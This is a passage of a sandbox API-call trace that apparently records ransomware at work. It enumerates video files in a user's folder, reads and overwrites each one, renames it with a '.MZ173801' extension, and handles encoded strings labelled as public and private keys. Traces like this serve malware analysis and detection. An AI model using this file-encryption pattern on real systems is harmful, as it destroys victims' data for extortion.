lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.767] GetCurrentThreadId () returned 0xab4 [0166.767] GetCurrentThreadId () returned 0xab4 [0166.767] GetCurrentThreadId () returned 0xab4 [0166.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\wKHsoyD.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wkhsoyd.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.768] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.768] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.768] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x18519 [0166.768] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.768] ReadFile (in: hFile=0x27c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x18519, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f480*=0x18519, lpOverlapped=0x0) returned 1 [0166.769] CloseHandle (hObject=0x27c) returned 1 [0166.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\wKHsoyD.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wkhsoyd.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.773] WriteFile (in: hFile=0x27c, lpBuffer=0x24ba040*, nNumberOfBytesToWrite=0x18519, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24ba040*, lpNumberOfBytesWritten=0x19f48c*=0x18519, lpOverlapped=0x0) returned 1 [0166.877] CloseHandle (hObject=0x27c) returned 1 [0166.883] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\wKHsoyD.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wkhsoyd.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\wKHsoyD.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wkhsoyd.avi.mz173801")) returned 1 [0166.884] GetCurrentThreadId () returned 0xab4 [0166.884] GetCurrentThreadId () returned 0xab4 [0166.884] GetCurrentThreadId () returned 0xab4 [0166.884] GetCurrentThreadId () returned 0xab4 [0166.884] GetCurrentThreadId () returned 0xab4 [0166.884] GetCurrentThreadId () returned 0xab4 [0166.884] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31abf740, ftCreationTime.dwHighDateTime=0x1d5edfd, ftLastAccessTime.dwLowDateTime=0xa5fc5180, ftLastAccessTime.dwHighDateTime=0x1d5e7ae, ftLastWriteTime.dwLowDateTime=0xa5fc5180, ftLastWriteTime.dwHighDateTime=0x1d5e7ae, nFileSizeHigh=0x0, nFileSizeLow=0x137d1, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="WVzot.flv", cAlternateFileName="")) returned 1 [0166.884] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.884] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\WVzot.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wvzot.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31abf740, ftCreationTime.dwHighDateTime=0x1d5edfd, ftLastAccessTime.dwLowDateTime=0xa5fc5180, ftLastAccessTime.dwHighDateTime=0x1d5e7ae, ftLastWriteTime.dwLowDateTime=0xa5fc5180, ftLastWriteTime.dwHighDateTime=0x1d5e7ae, nFileSizeHigh=0x0, nFileSizeLow=0x137d1)) returned 1 [0166.884] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\WVzot.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wvzot.flv")) returned 0x20 [0166.884] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\WVzot.flv", dwFileAttributes=0x80) returned 1 [0166.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.888] GetCurrentThreadId () returned 0xab4 [0166.888] GetCurrentThreadId () returned 0xab4 [0166.889] GetCurrentThreadId () returned 0xab4 [0166.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.889] GetCurrentThreadId () returned 0xab4 [0166.889] GetCurrentThreadId () returned 0xab4 [0166.889] GetCurrentThreadId () returned 0xab4 [0166.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\WVzot.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wvzot.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.890] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.890] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.890] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x137d1 [0166.890] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.890] ReadFile (in: hFile=0x27c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x137d1, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f480*=0x137d1, lpOverlapped=0x0) returned 1 [0166.892] CloseHandle (hObject=0x27c) returned 1 [0166.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\WVzot.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wvzot.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.958] WriteFile (in: hFile=0x27c, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x137d1, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19f48c*=0x137d1, lpOverlapped=0x0) returned 1 [0166.960] CloseHandle (hObject=0x27c) returned 1 [0166.964] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\WVzot.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wvzot.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\WVzot.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wvzot.flv.mz173801")) returned 1 [0166.965] GetCurrentThreadId () returned 0xab4 [0166.965] GetCurrentThreadId () returned 0xab4 [0166.965] GetCurrentThreadId () returned 0xab4 [0166.965] GetCurrentThreadId () returned 0xab4 [0166.965] GetCurrentThreadId () returned 0xab4 [0166.965] GetCurrentThreadId () returned 0xab4 [0166.965] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x77750230, ftLastAccessTime.dwHighDateTime=0x1d5ecf4, ftLastWriteTime.dwLowDateTime=0x77750230, ftLastWriteTime.dwHighDateTime=0x1d5ecf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="z 7ggJ8", cAlternateFileName="Z7GGJ8~1")) returned 1 [0166.965] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x77750230, ftLastAccessTime.dwHighDateTime=0x1d5ecf4, 